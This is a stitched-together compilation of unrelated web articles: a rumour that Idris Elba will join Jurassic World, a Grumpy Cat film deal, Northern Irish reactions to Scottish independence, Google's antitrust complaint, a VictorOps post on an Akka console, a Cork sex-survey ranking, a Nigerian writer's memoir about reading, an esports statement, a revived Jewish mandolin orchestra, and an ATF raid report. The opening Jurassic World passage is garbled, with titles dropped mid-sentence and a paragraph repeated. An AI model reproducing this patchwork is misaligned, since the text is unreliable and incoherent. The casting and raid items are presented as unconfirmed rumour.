2013 could be considered the “Year of Elba,” as he was seen cancelling apocalypses in Guillermo Del Toro’s Pacific Rim, presiding over South Africa in Mandela: Long Walk to Freedom, and solving murders in the brilliant third season of the BBC’s Luther. He’ll also be seen in a few weeks for Alan Taylor’s
We’re taking the news with a grain of salt, but with the hopes that our futures will all include Elba chasing down and punching a CGI dinosaur. I mean, Isla Nublar even kind of sounds like Idris Elba if you’re got a mouth full of food. Jurassic World is really up and roaring after giving itself a name and a release date last month. The past week has seen quite a bit of casting news, with some of the child actors signing on, and Josh Brolin starting negotiations to star. Brolin and the previously cast Bryce Dallas Howard will surely be joined by at least two or three more big names, seeing as how this is sure to be one of the biggest movies of 2015, and gigantic blockbusters are no stranger to British actor Idris Elba, who is rumored to be in talks with Universal and director Colin Trevorrow to join the film. I shall refrain from jumping up and down with glee at least long enough to point out that it’s unsubstantiated hearsay at best, but the “news” appears in two different places that seem to have nothing to do with each other. At least coincidences are on our side. Jurassic World Movie News recently reported that a source “whose fairly close to’s development” said Elba's name was in the running.In addition, the website Acting Auditions recently posted a casting notice for, calling for actors and crew in Louisiana, where the film will partially be filmed. Elba’s name is mentioned not just once, but twice, as being part of the cast. They even have “in talks” next to Brolin’s name, but Elba is listed as if it’s a no-brainer that he’s already signed on. Both Nick Robinson ( The Kings of Summer and Ty Simpkins () are noted as well, though nothing is said of the previously rumored Jake Johnson ().So is this just a mistake or what? I went and looked through the website for a few minutes and nothing was amiss with any of the other notices I read. And to really drive it home,is already on Elba’s filmography list on Wikipedia . Maybe if we all got together and chanted for a while, it would turn out to be true.2013 could be considered the “Year of Elba,” as he was seen cancelling apocalypses in Guillermo Del Toro’s, presiding over South Africa in, and solving murders in the brilliant third season of the BBC’s. He’ll also be seen in a few weeks for Alan Taylor’s Thor: The Dark World , in which he’ll reprise his role of Heimdall.We’re taking the news with a grain of salt, but with the hopes that our futures will all include Elba chasing down and punching a CGI dinosaur. I mean, Isla Nublar even kind of sounds like Idris Elba if you’re got a mouth full of food. SPOILERS - Jurassic World 3: What We Know So Far Blended From Around The Web Facebook
Back to top |
Many years ago, a humble message board spawned the concept of Caturday — a time for everyone to post some cats. Over veritable internet generations, the cat meme has metastasized, through YouTube and Tumblr and now, it seems, Hollywood. According to Deadline and The Wall Street Journal, the manager of the perpetually disgruntled feline Grumpy Cat is working with Broken Road Productions to produce a comedy with Grumpy Cat as its star. "We think we can build a big family comedy around this character," says Todd Garner, who has worked as an executive producer on films like Vin Diesel's xXx and Adam Sandler vehicle Anger Management.
This will, in fact, be Grumpy Cat's second film deal. Earlier this year, we saw her in Lil Bub & Friendz, a Vice documentary capitalizing on the popularity of Nyan Cat, "world's cutest cat" Lil Bub, and other memetic animals. The unnamed Grumpy Cat project is described as a "Garfield-style feature film," referring either to the oft-remixed comic or the terrifying live-action adaptation, and Grumpy Cat will apparently be given "the power of speech." We had mixed feelings about Lil Bub & Friendz, but obviously, a broad family comedy based on a series of image macros is a very different beast. In fact, as far as we can tell, there's literally no way this could go wrong. |
Image caption Scotland can be seen from Northern Ireland on a clear day - but not when clouds appear
Scotland and Northern Ireland have a long history of cultural ties and economic links. But if Scotland votes "Yes" to independence in September, how would people in Northern Ireland feel and how might it affect politics?
On a sunny day in the small coastal town of Donaghadee in County Down, south-west Scotland shimmers on the horizon.
There's barely 20 miles (30km) of narrow sea between the Celtic coasts.
But it's not just geographical proximity that connects Scotland and Northern Ireland.
Millennia of migration - most famously in the 17th Century, when the plantation of Ulster saw English and Scottish Protestants move over in droves to what is now Northern Ireland - has intertwined their history, culture and language.
There has also been plenty of migration the other way, most notably in the 19th Century around the time of the Irish famine, but also for employment, first in agriculture and then in heavy industry.
Plenty of family ties and friendships still stretch across the water.
If Scotland goes there will be at least a period where unionists will be in some kind of disarray Graham Walker, Professor of political history What connects Scotland to Northern Ireland?
There are also strong sports links. Glasgow football club Celtic was formed by Irish Catholics who began emigrating to the west of Scotland in the 1840s, while Rangers, which was set up at a similar time, has always been perceived as the Protestant club. Both have a huge fanbase in Northern Ireland and supporters regularly make trips to Scotland.
And there's a long history of students in Northern Ireland heading to Scottish universities to pursue their studies.
So how do residents of Northern Ireland, some of whom may have stronger connections with Scotland rather than England or Wales, feel about the Scottish referendum?
In a place where politics is dominated by beliefs in unionism and nationalism, and those beliefs are broadly subscribed to along Protestant and Catholic lines respectively, it would be easy to think that Catholics would support a "Yes" vote and Protestants would push for a "No".
But there are strong links with Scotland in both Protestant and Catholic communities.
Unionists could, however, go through a whole process of self-examination - an identity crisis even - if Scotland votes for independence, because the nation is such an important part of the union to which they belong, according to Graham Walker, professor of political history at Belfast's Queen's University.
Image caption Sentiments run high at Belfast's Sandy Row Rangers Supporters Club
Image caption Rangers supporter Jim Wilson says a Scottish "Yes" vote would be a massive shock
"If Scotland goes there will be at least a period where unionists will be in some kind of disarray - defensively circling the wagons - wondering how to adapt or see if they can find a way forward politically that maintains their own identity but also their relationship with Scotland," he says.
Sentiment is certainly strong at Belfast's Sandy Row Rangers Supporters Club, where Saltire and Ulster flags and Glasgow Rangers shirts adorn every wall and the kerbstones outside are painted red, white and blue.
East Belfast community worker Gary Lenaghan, 51, says Northern Ireland's Scottish links are "unbreakable" and he would be "gobsmacked" if Scotland voted for independence.
"If that happened I think an influx of people might move from Scotland to the remaining part of the UK to stay in the union, and their first choice of residence would probably be Northern Ireland," he says.
Image caption Dr David Hume is attending a pro-union Scottish Orange Order march in Edinburgh
Fellow Rangers supporter Jim Wilson, 62, agrees it would be a "massive shock" if Scotland voted for independence. If it does, he believes the fall-out might move Scottish politics closer to Northern Ireland's.
"Not in a physical violence way, but I can see it turning into saxonised politics - voting for pro-union candidates in the future," he says.
Other unionists are taking steps to try to ensure a "Yes" vote doesn't happen.
Dr David Hume, director of services at Grand Orange Lodge in Northern Ireland, says he and thousands of the organisation's members will participate in a Scottish Orange Order march in Edinburgh five days before the Scottish independence referendum.
"One hundred years ago the Grand Lodge of Scotland showed very strong support for unionists here when they were opposing home rule, so 100 years on we feel it's most appropriate we show our support.
"We see ourselves as Ulster Scots and feel very strongly attached to our friends and relatives in Scotland. It would create a whole range of complexities if Scotland left the union," he says.
Hume has previously called for people in Northern Ireland with Ulster Scots backgrounds to be given a vote in the referendum but it didn't come to anything.
But while unionists might face a period of mourning if Scotland goes independent, a "Yes" vote could be an enormous boost for nationalism.
Image copyright PAcemaker Image caption Sinn Féin president Gerry Adams has largely stayed out of the debate on Scottish independence
Earlier this year Sinn Fein president Gerry Adams said the "so-called United Kingdom" was held together by a thread that could be unravelled by the referendum in Scotland.
The party, which campaigns for Irish unity, has so far stayed out of the debate, saying it's a matter for the people of Scotland.
Currently support for a united Ireland in Northern Ireland remains relatively low. Last year a BBC Spotlight poll suggested there was a 65% to 17% majority for Northern Ireland remaining in the UK.
However, Scottish independence would reinforce nationalist demands for a referendum on a united Ireland - a move that is allowed no more than once every seven years under the 1998 Good Friday peace deal.
Image copyright Reuters Image caption The Orange Order is holding a pro-Union rally in Edinburgh five days before the Scottish referendum
Image copyright PAcemaker Image caption Nationalist marches are much fewer in number in Northern Ireland
Walker believes there is a divided opinion among nationalists. "There is certainly a body that thinks the more the UK breaks up the better - that it might increase the chances of a referendum on Irish unity," he said.
"But another body of opinion in the Catholic community would be cannier - they'd see the bigger picture, particularly in terms of looking down south and thinking the Dublin government has no wish to see Scotland leave the UK - and it wouldn't really help them in terms of their long-term aspirations in both parts of Ireland."
Northern Irish nationalists are also "quite hesitant" to get involved in the Scottish referendum debate because the Catholic community in Scotland of Irish descent is "a bit split on the issue," he says.
"There would be many in the Catholic community in Scotland who have a strong tribal loyalty to Labour, which I think in most cases translates to a 'No' vote, but there is evidence quite a sizeable number of Labour voters in that community are moving towards independence and the SNP, so it might be they feel they can't actually say you should go for it."
While the knock-on effects of a Scottish "Yes" vote on the politics of Northern Ireland can only be speculated about, there is certainly a sense it could rock the relatively recent stability of Northern Ireland's power-sharing government.
There is also some concern the Barnett formula - the method for working out how much money is given for public spending in each of the UK's nations, which currently sees Northern Ireland get more cash per head than Scotland, Wales or England - might be reconfigured.
However for Walker the biggest concern is how unionists might react.
"It could stoke loyalism and send it into a tailspin - perhaps around issues like parading and flags, which are so problematic. Some people would fear for the peace process, at least in the short-term," he says. |
Google today filed a complaint with the Europe Commission and sent a report to the Federal Trade Commission complaining that Microsoft and Nokia are funding patent trolls in order to discourage device makers from using the Android mobile operating system.
The documents are not suits, but rather informational reports sent to regulators to make them aware of actions that Google believes are anti-competitive. Google submitted the documents to preempt Microsoft and Nokia from using proxies to wage patent wars against companies that might otherwise use Android.
"Nokia and Microsoft are colluding to raise the costs of mobile devices for consumers, creating patent trolls that side-step promises both companies have made," Google said in a statement. "They should be held accountable, and we hope our complaint spurs others to look into these practices."
The company declined to comment beyond the statement, and would not provide copies of the documents sent to the two regulatory agencies, which were submitted privately. Nokia declined to comment on the documents. Microsoft, though, accused Google of abusing its own market position.
"Google is complaining about patents when it won't respond to growing concerns by regulators, elected officials and judges about its abuse of standard-essential patents, and it is complaining about antitrust in the smartphone industry when it controls more than 95 percent of mobile search and advertising," Microsoft said in a statement. "This seems like a desperate tactic on their part."
Google is clearly concerned about Mosaid, a Canadian patent firm that acquired 2,000 wireless patents and patent applications from Nokia last September. Mosaid, which makes its money licensing patents and collecting royalties, sometimes via lawsuit, agreed to share that revenue with Nokia and Microsoft. Google worries that the essential patents held by Mosaid will be used as a bludgeon to blunt Android, rather than being shared on reasonable terms.
And while Mosaid sued Apple over patent infringement last March, it's unclear if the company has targeted any companies that use Android. Microsoft, though, has sued some Android device makers, such as Google-owned Motorola, and reached licensing deals with others, most recently with Pegatron last month.
Mosaid is not the only company on Google's radar. Nokia sold 450 patents and patent applications to Sisvel in January. And Rockstar, a consortium that includes Microsoft and Apple, won 6,000 patents and patent applications from Nortel, the bankrupt Canadian telecom equipment maker, and received permission from regulators in March to close the deal.
Updated at 4:58 p.m. PT with a comment from Microsoft. |
At VictorOps, most of our systems are built upon the Akka framework. It’s an application framework implemented for the JVM (we use Scala), modeled after Erlang, a language designed around the actor model.
We’ve had a lot of success using it to build the kind of distributed, resilient systems our customers depend on to make their on-call experiences suck less.
We make heavy use of Akka clustering, remoting, and persistence libraries throughout our stack. The result is a set of very stateful applications where much of the application state is in memory in the JVM processes. (The pros and cons of this kind of architecture are really interesting, but a whole other topic!)
“What is the state of that actor?”
“How can I correct an actor that has gotten corrupted?”
“How can I fix it?!”
Given that architecture, doing things like inspecting actor state and manipulating it become somewhat tricky. For instance, a lot of our alert processing functionality is entirely in memory using persistent actors. That has many benefits and the very big drawback that we can’t do anything like query a database to determine the current state of things.
To help us manage our running system, we took a page out of Erlang, Clojure, Rails, and other frameworks and languages: we built ourselves a console application.
http://www.lihaoyi.com/Ammonite https://github.com/lihaoyi/Ammonite
Ammonite REPL is a reimplementation of the standard Scala console by Li Haoyi, and It. Is. Awesome.
We have built up a console application using a combination of Akka clustering and remoting, and the ammonite REPL, that lets us interact with our running systems using our shared libraries and straightforward Scala code.
I’ll walk through a very simplistic example to demonstrate.
Suppose you have a counting application. Counters increment, and reset. Here’s your CountingActor:
Now, suppose that while that application is running, you want to inspect and possibly manipulate the state of a counter.
First, let’s define the kinds of tasks we’ll want to run:
That’s all pretty straightforward. We write a trait that has a getCount function, an incrementCount function, and a resetCount function–basically implementing the interface of our CountingActor above.
Left unimplemented are defs for the CountingActor selection we send messages to, and an Akka timeout used by the ask pattern. Next, we’ll need a concrete implementation:
That part is hand-wavy for sure–there’s a hard-coded actor path in there, if you didn’t notice. At VictorOps we leverage our clustering libraries for actor lookup and discovery, but this snippet serves as a good-enough illustration here. The important bit is that we’re using Scala-oriented composition to give us something we can import into the ammonite session – we can instantiate a Console, and use the imports object to load the REPL session. Given the examples above, we have a counter app, and a console app. Here are the mains for those:
That probably seems normal enough if you are familiar with Scala and Akka. We’re just starting an actor system, spinning up a counter actor, and off we go.
For this implementation, we start an actor system in the main method like we normally would, as well as an instance of our own Console from above. Using ammonite’s bind arguments to bind our instance of the console into the repl, we now have that instance in the scope of our repl session. Finally, using the predef capabilities of ammonite we import our task functions into the session’s scope, where they become available.
Here it is in action:
And there we have a console application that can interact with another running Akka application.
Moreover, we’re in an ammonite session so we have all of Scala available to us. Check out some of the examples from that project to learn more. http://www.lihaoyi.com/Ammonite/
At VictorOps, we have implemented many messages in our various Akka applications specifically for use from our console application–simple things like extending trials for new customers and flipping feature flags for customers that request access to some of our beta features, to complex things like rebalancing actors around our cluster and running audit checks of actor state.
We also use our console to troubleshoot customer issues when they arise, and it has been extremely helpful in getting things sorted out quickly and efficiently, allowing us to be very responsive to customer support issues with fast turnaround times.
And it’s all just code, which means we can test the tasks we implement using all the sophisticated testing tools available in the Scala and Akka ecosystems.
It’s proven so incredibly useful for us that we thought others that work with Akka might find it useful too.
Here’s the example from this article up on github: https://github.com/victorops/akka-console-example |
Cork has been ranked "the least sexual city in the world" in this new study
Oh dear, this is kind of embarrassing, isn't it?
Sex-positive app Lazevva surveyed people all around the world, and the results are in, and it doesn't look good for Ireland.
The survey asked people who lived there to rank the city out of ten in the following areas: Sexually Active, Sexual Experimentation, Sexually Satisfied, Sex Toy Consumption, Porn Consumption, Adult Entertainment, Swinger Score, Access To Contraception, LGBT Friendliness and Gender Equality.
By these criteria, out of the 100 cities ranked, Dublin came in 61st, and Cork came in DEAD LAST. Literally, the least sexual city in the entire world.
The ten most sexual cities in the world are as follows:
Paris - France Rio De Janerio - Brazil London - England Los Angeles - USA Berlin - Germany New York - USA Sao Paulo - Brazil Las Vegas - USA Ibiza - Spain Amsterdam - Netherlands
A firm round of applause for both the USA and Brazil with their positioning... heh heh...
Meanwhile, taking up the bottom of the list, here are the ten least sexual cities in the world:
Cork - Ireland Bratislava - Slovakia Belgrade - Serbia Graz - Austria Linz - Austria Salzberg - Austria Toyko - Japan Milan - Italy Hannover - Germany Chennai - India
That isn't a great showing for Austria, is it?
But even landed in 4th, 5th and 6th least sexual cities in the world doesn't quite equal to being home to... and we really can't stress this enough... LITERALLY THE LEAST SEXUAL CITY ON THE ENTIRE PLANET.
Maybe it has something to do with our porn tastes? According to the same survey, the most searched for porn word is "Lesbian", which just isn't trying very hard at all, is it?
What do you reckon, Corkonians? Is this ranking too harsh? Is the world just unaware of your inherent sexy sexiness? It is up to YOU to prove them wrong, and to at least climb above the inexplicable triangle of unsexiness happening in Austria. Do it for you country, Cork! |
The author, his father Lindsay Barrett, and his brother Boma, circa 1982.
1.
In a cool, shaded bedroom in the southern city of Port Harcourt, my mother is lying on her back on the rumpled bed, a book held open over her face, her eyes burning into it. I’m three years old and I want her to love me. I want her to look at me right this moment — to tell me all the time how much I mean to her. I have been perched at the bed’s edge for some time, waiting to be noticed, watching the play of expressions on her face. When she quivers again with laughter I can’t hold back my curiosity any longer, and I ask, “Why are you laughing, Mama?”
No answer. I cannot understand what she finds so fascinating in that bundle of paper.
I raise my voice. “Mama! Tell me why you’re laughing.” My cry works: it draws her eyes to me. But they are bright with an emotion I know isn’t for me.
“Go and play with Boma,” she says. And then she mutters under her breath: “You’ll understand why I’m laughing when you can read.”
Boma, my younger brother, is a baby. He cries all the time. Right now he is in my father’s arms in the parlor — I can hear him wailing for attention, as usual. When he arrived he took away a chunk of the affection that I thought was only mine, and now this thing, this book that brightens my mother’s eyes and makes her giggle, is stealing what’s left.
I want to be a book. I want my mother to look at me all the time.
I decide to learn to read.
2.
My mother and my father quarrelled over me yesterday. My father is teaching me to read, I asked him to, but yesterday he grew annoyed at my slow progress over the letter X and he smacked my bottom until I screamed for my mother. My mother took me in her arms, she said I was too young and he should go easy on me, that I was learning faster than many my age. He’s old enough — he shouldn’t have asked if he wasn’t ready, my father said before he slammed his study door.
I’m old enough.
Tomorrow I will try to be ready.
In a few weeks I will be four.
3.
Crouched in a closed dark wardrobe, my heart pounding, I’m listening to the sound of feet outside. The footfalls sneak closer, stop in front of the wardrobe, and I strain my ears. I wait fearfully to be caught.
I’m six years old and I have no friends. Everybody loves Boma. He’s playful, friendly, and he’s not afraid of cats. He laughs all the time: a deep rolling laugh that sounds like a toy version of my father’s. He looks like my father too. Everybody says so. Then they ask me whom I resemble, why am I so quiet, why am I such a bookworm? That’s what Priye asked:
“Why are you such a bookworm?”
“Because books are exciting, stupid!” I snap at her. Then I feel sorry. Girls must always be treated nicely, my mother says.
Priye always comes over to play with Boma. She is the daughter of Uncle Sam, our next-door neighbor and my father’s best friend on the street. My father and Uncle Sam are chatting in the study, laughing out loud, and Priye is in my bedroom searching for me. Boma is hiding—we are playing hide-and-seek. I was reading The Snow Queen when Priye came, but after she asked me to join her and Boma in their game, I dropped my book. The Snow Queen makes me cold and sad and lonely. And no one ever asks me to play.
Now I’m crouched in the wardrobe, hoping to be found so I can return to my book.
4.
Boma and I are on holidays with my father in a big empty house in the mid-western city of Benin. I miss my mother, who is back at home in Port Harcourt, and I hope she’s missing me too. My father has taken Boma out shopping, and I’m alone at home. I’m being punished for throwing a crying tantrum. Because my younger brother ran off with my book and I couldn’t catch him.
I’m nine years old and I’m afraid that my parents don’t love each other anymore.
Now I’m lying on my belly in my father’s bed. I’m reading The Old Man and the Sea.
I want to be a fisherman when I grow up. O to roam the seas with a book and a hook!
5.
My mother refuses to buy me trousers. She prefers small shorts in bright colours: pink, lime green, powder blue. When I walk down my street the other boys tease me about the books I’m always carrying. They call me a girl because I read too much, because of my bright shorts and my smooth soft legs, and because I look like a girl. My mother tells me they are unruly little bullies. But still she refuses to buy me trousers. “Nobody bullies Boma,” she always says when I complain. But that’s because Boma never walks around with books. And he can fight.
But I don’t say this. I’m almost 10 and it’s a sin to rat on a brother.
I want to be a pirate when I grow up.
6.
I’m in a classroom of boys and girls all shrieking with abandon. The teacher has stepped outside, and while my classmates rush about I remain seated at my desk. I’m reading a novel: Roots.
The series runs every night on national TV.
My mother’s friend, Aunty Gloria, lent me the book when I told her how much I feared for Kunta Kinte, how disappointed I was that the bad men were winning the good ones. I couldn’t wait to see the good men begin to win. In the fairytales the good men always win.
“Read the book,” Aunty Gloria said. “You’re old enough to learn how the world really is.”
I’m 10 years old.
A strong wind now blows the scent of sunlight through the open windows of the classroom, and it riffles the book’s pages. Then a shadow looms, the wind is blocked, and I look up. Gogo is standing beside my desk and frowning down at me. I’m worried, threatened by his presence, but I’m not surprised to see him. Gogo has been trying to pick a fight with me for the past few weeks, ever since I scored the highest in the English Language test. He hasn’t succeeded only because he’s the strongest boy in the class and it’s not considered cowardly to run from him. All this time I have been a running target, but now I’m a sitting duck. And I know that he knows it. I lower my eyes from his, and I hear him say, “What are you reading?”
“Roots,” I answer. Then I hurry to explain, my voice soft, trembling, ingratiating. “They show it every night on NTA. It’s the Kunta Kinte film.”
“Give it to me,” he says, and extends his hand.
I don’t like sharing my books, but I hand it to him anyway. Maybe he likes books like me.
No, he doesn’t. He closes the book and flings it across the classroom. It flaps through the open window and falls in the sand outside. Then he bends over my desk and laughs ha ha ha into my face. I feel like crying — I borrowed that book. You must take good care of books, my mother always says.
The class falls silent as I rise slowly to my feet. My face is burning and I feel like peeing. I know Gogo wants me to cry so he can laugh a real laugh, and this knowledge gives me the strength to fight back my tears. I step out of my desk and walk towards the window.
“Stop there!” Gogo yells, and though I flinch at his shout, I don’t stop. I can now hear him coming behind me — he is banging on desktops to frighten me. I reach the window, and then turn around, and he stops five desks away. His face is really, really angry.
“Did you hear me say stop?”
I don’t answer. I hold his gaze.
“Are you looking at me with bad eye? Do you think you can fight me, you son of a–?”
I am shocked.
Gogo has called me a dirty word that means my mother does dirty things.
I am angry too. Bitterness rises inside my mouth, and my hands are cold, my knees tremble, my chest is tight, but my fear is beginning to harden. I did nothing to him and yet he threw away my book and now he has abused my mother. I must say what I must say. I must spit out this bitter taste.
“You unruly little bully,” I say to Gogo. But he isn’t, not really, not little. He’s much taller than me, and he has muscles on his calves, his chest, his arms — the veins in his arms are like the ones in my father’s, it seems to me. Gogo looks exactly like I want to be someday: strong.
But right now, for the first time in my life, I’m ready to fight someone who isn’t Boma — all because of a book. I will be beaten, disgraced, and I know it, Gogo knows I know it, the whole class knows it, they are chanting, cheering me on, goading Gogo, and he lets out a kung-fu howl and charges at me. O Mama! But my book, my mother — I can’t run. I hold my ground until my teeth chatter, until I can almost feel his breath on me, and then my instincts revolt. I leap out his path and raise my hands to shield my face, but nothing, no blows, only a crash of glass and a child’s wail, and when I look up I see Gogo squirming in pain on the sand outside. He has run himself into the window and through the louver glasses. I feel a rush of fear, and then relief, a deep satisfaction.
The bad boy has lost.
My faith in the world’s order is now restored.
I’m ready to go back to reading Roots.
And so I climb out the window and pick up my book, shake off the glass, and go back in to meet the cheers of my classmates, boys and girls, who gather around and pat my back, stare at me with admiration. My head swells with pride.
Behind me, I can still hear Gogo crying.
7.
On a quiet Port Harcourt afternoon, I’m rereading Lorna Doone for the seventh time when I hear a shout. It is Boma. I’m in our bedroom in my grandmother’s house, and there are adults outside so I don’t get out of bed, I don’t interrupt my reading, I hope Boma is fine. My mother is away in Ibadan studying for her university degree. I haven’t seen or heard from my father since he and my mother fought the last time in Benin City. Boma and my books are all that’s left of the home I’ve always known.
I’m 12 years old and I want to be an aeronautical engineer when I grow up.
Then the bedroom door flies open and Boma skips in with a two large shopping bags clutched in his hands. “Toys!” he cries excitedly. “The robot’s mine!” He dumps the bags on the floor, drops down beside them, upends one and spills out the toys. There’s only one father in the whole wide world who would buy so many toys. I tumble off the bed.
In the second bag there are books — a box set of The Hardy Boys, Burning Grass by Cyprian Ekwensi, Treasure Island, a children’s encyclopedia with an airplane on the cover — and there is a letter addressed to me. I am shaking as I tear it open, and then blinking away tears as I read.
My father is in Liberia, where there’s a civil war, and he’s writing about it for the newspapers. He loves me, he misses me, he’s sorry he and my mother are no longer together, and he plans to see me and Boma soon. He hopes I still read as much as I did.
I do, Daddy. I still do.
8.
My mother has a boyfriend. His name is Uncle Albert and he wears glasses, he smells of shaving creams I remember from long ago, and when he responds to my greeting I am disappointed. He sounds like a nice person. He even looks like a nice person — he wears a tie and his eyes are kind.
Now I am certain my mother doesn’t love me anymore.
How can she? I have strange moods, I dream strange dreams, and I feel good when I read bad books — books with sex in them. And I’m ashamed all the time, shy with everybody, especially girls.
Boma isn’t shy. That’s why he’s in the parlor right this moment talking with my mother and Uncle Albert — the little traitor. I’m hidden in the bedroom. I’ve recently begun reading Lady Chatterley’s Lover, I started this morning before Uncle Albert arrived, but now I’m stuck on page 17. I’m distracted by their chatter.
But I learn from it. Uncle Albert is a medical doctor, he lives in Lagos, he makes my mother laugh like she hasn’t in a long time, and when she calls out my name and I push my head through the parlor doorway, Uncle Albert says in his soft nice voice:
“I hear you read a lot. That’s good. What book are you reading now?”
“Lady Chatterley’s Lover,” I mumble in reply — and then I wonder what I have done again. My mother is ashamed; I can see it in the way she hides her face. Uncle Albert is embarrassed, and he clears his throat, then removes his glasses and busies his hands with wiping them. Boma is humming happily as he watches cartoons on TV.
My mother finally speaks. “You’re 14,” she says, and she exchanges a look with Uncle Albert. “You’re old enough, I guess.” I have no idea what she means, and I grow angry thinking she’s been talking about me behind my back. With her boyfriend whom I’m meeting for the first time today.
Betrayals everywhere I turn.
Later that night, while Boma’s asleep beside me and my mother and Uncle Albert have gone out with friends, I turn another page of Lady Chatterley’s Lover, my eyes fleet over the words, and my heart crashes to a stop. I finally understand.
Without knowing, I have alerted my mother to my hidden interests. In front of her boyfriend.
Betrayals everywhere I turn, even by books.
I’m sick with shame, but I read on, and soon my bad feeling changes to good.
9.
My mother is mad at me. I have just told her she loves Boma more than me and that she treats me like a child and I will not go to university because that’s what she wants and I will never do what she wants. I am screaming as I say this, and crying too. Boma is standing beside my mother, his arm resting on her shoulder, holding her back. His face pleads with me.
“You have no respect!” my mother screams back. “How can you talk to me that way? Either you obey me or you get out of my house!”
Early the next morning, before Boma wakes, I creep out of our bedroom with three shirts and two boxer shorts in a Snoop Dogg rucksack, my toothbrush in my jeans pocket, and one book in my hand. Portnoy’s Complaint.
I’m 18 and I finished secondary school one month ago. I have now lived in the western city of Ibadan for two years, and still I have no friends to run to. But still I run.
10.
I’m standing in the front yard of a house in the southern town of Yenagoa. I’m waiting for my father; he’s inside with his wife and my two half sisters. After a lifetime spent with Boma, it feels strange to hear a three year old call me her brother. The one year old cries all the time. Like Boma did. She even looks like him.
I’m holding a book in one hand and my mobile phone in the other. I just finished speaking on the phone with my mother. She sounds fine, but she misses me. I miss her too.
The book I’m holding is the book that convinced me to give up my plan of becoming a farmer. Love in the Time of Cholera. I carry it everywhere, a talisman against my fear of failure.
I’m 26 and I want to be a writer.
My father appears in the doorway. “Are you sure you won’t come inside?” he asks. “I’m still writing my column. You can come and sit with me in the study. I’ll soon finish.”
“I’m okay, Dad,” I say. “I’m getting some fresh air. Take your time.”
He opens his mouth to speak, but the three year old calls out, “Daddy!” and without speaking he retracts his head, the bead curtain sways and clatters where he stood. Then my phone rings; I glance at the screen. I think it might be mother calling back, but no, it’s an unsaved number, a foreign number it seems. I wonder if I should answer, and then I do.
The caller tells me she works for the BBC and that I have just won the short story competition I’d forgotten I entered. I say my name and the title of my story — I ask if she is sure it’s me she meant to call. Yes, she confirms. Everything else is wind in my ears.
After I hang up, I call out to my father. He appears in the doorway.
“What is it, Son?”
I tell him everything. And when he rushes forward and throws his arms around me, squeezes me, says how proud he is, I feel again like the son who learned to read in his father’s lap.
I dropped out of university a little less than two months ago.
11.
I have just written the final word in my second book.
Tonight I will reread The Tin Drum: a present from my father on my 28th birthday.
But first I’ll go next door to share the good news with Boma. And then I’ll use his phone to call my mother in London. This time I must remember to thank her.
I’ve understood for years why she was laughing.
I’m 33, I live in Lagos, and when I’m not reading books, I write books for a living.
Image courtesy of the author. |
Quote: ElDraque: EG complained after the game thats why there was a 15 minute break
I just want to make a statement to dispel any rumors about what was said and actually happened after game 1.First off, EPIK did not once complain about the DC. Are we upset it happened? Of course we are. Could it have happened to anyone? Of course it can. So we are not bitter.Next, the reason we took a 15 minutes break after the first game is because Westrice's Computer overheated and died. We had to calibrate the new computer. From the time he got back to the end of the game he was playing on a foreign computer, with foreign settings, on a foreign keyboard. We had no form of communicating with Westrice because he was in a different section and had no VOIP.By the time Westrice had reconnected we had already lost full control of the game and only played it out of courtesy to Riot. Did we finish the game terribly? Yes. Wouldn't any other team finish terribly if their team is built around a DC'd champion for 80% of their DPS (he also played on a foreign computer)?By game 2, we tried to make game one water under the bridge and try our best. It was honestly anyone's game in the 2nd face off. Fnatic played better, therefore they won.All in all, although we were unhappy with the dc and the result of game 2, we still support Riot and root for Fnatic (unless we come back from the loser's bracket). Because Riot is a great young company and still has a lot of time to mature and iron out the kinks. Fnatic because they are a great group of players in and outside of the game. |
VIDEO -
The red brick walls of the synagogue in Gora Kalwaria, once a center of Jewish culture in Poland, reverberate anew with music lost in the Holocaust, thanks to one man's search for his Polish roots.
In the 1930s, a group of Jewish mandolin players from this small town just south of the capital Warsaw gained popularity across the country before many of them perished at the hands of Poland's Nazi German occupiers.
Horror in Music Debut: Musical piece based on Shoah stories Akiva Novick Lawrence Siegel's 'Kaddish - I am Here' turns Holocaust survivors' harsh testimonies into musical sounds. Jerusalem Symphony Orchestra performs piece at Yad Vashem in front of 2,000 survivors Debut: Musical piece based on Shoah stories
But in 2007, while retracing his family's Jewish roots, San Francisco businessman Avner Yonai found a telling photograph in Gora Kalwaria.
In it, he recognized his grandfather and two uncles among a dozen or so mandolin-clutching musicians of what was known as the "Ger Mandolin Orchestra".
Soon, Yonai began thinking about bringing this pre-World War II musical tradition back to life.
His dream became reality when several renowned mandolin players and guitarists from the US, Canada, Israel, Germany and the Czech Republic responded to his request for musicians interested in the project.
Chris Acguavella, Jeff Warschauer, Abe Schwartz, as well as the Grammy-nominated Avi Avital were among the illustrious volunteers.
"I had the idea to have a modern orchestra play the original authentic repertoire of the orchestra (in which) my grandfather played when he lived in Ger," which is Yiddish for Gora Kalwaria, Yonai told AFP.
"At the time it was the late 20s, early 30s and a band like this one with mandolins, was very popular in the region, " said Henryk Prajs, at 95 one of just two of Gora Kalwaria's surviving Jewish residents.
Jewish culture
He was a teenager when the "Ger Mandolin Orchestra" was in full swing and recalls Avner Yonai's grandfather and the rest of the band playing popular Jewish, Polish, Russian and Italian tunes.
Prior to World War II, Jews accounted for about half of Gora Kalwaria's population of 6,000. Jewish culture flourished in the town, which was notably the seat of the Alter dynasty, a renowned group of Hasidic scholars.
In 1941, the country's Nazi German occupiers moved the town's Jewish residents to the Warsaw ghetto, and then sent them to their death at the Treblinka extermination camp in occupied Poland.
The old synagogue, the old Alter house and the old Jewish synagogue are the last rare vestiges of this lost world, drawing thousands of visitors from around the globe.
"Today, American Jews who come to Poland don't visit Warsaw's Old Town. They go to Gora Kalwaria, to Ger!" said Jan Jagielski of the Warsaw-based Jewish Historical Institute.
Eight years on, 11 mandolin players from around the globe pluck away in Gora Kalwaria's synagogue, recreating the pre-war atmosphere.
The town also invited them to visit a special exposition on the Jewish community of Ger, vibrant as it once was prior to the war.
A public call has been made for more information about the "Ger Mandolin Orchestra", but so far the old sepia photograph is the only evidence it existed.
Plans are afoot for concerts across Europe, but for Avner Yonai and the rest, nowhere compares to Ger. |
Information still coming in. We will keep you updated. If you have been a customer, take this under advisement.
This is the Instagram a few moments ago of Jeremy Tuma the COO of Ares:
Backstory here. ATF wanted their customer list, they wouldn’t turn it over. So Ares got a restraining order from the Court. But ATF is apparently raiding anyway, in violation of that order.
Hopefully, the affidavits behind the ex parte application and search warrant will be made public so we can see what the ATF alleged.
Update
Trickery, trickery.
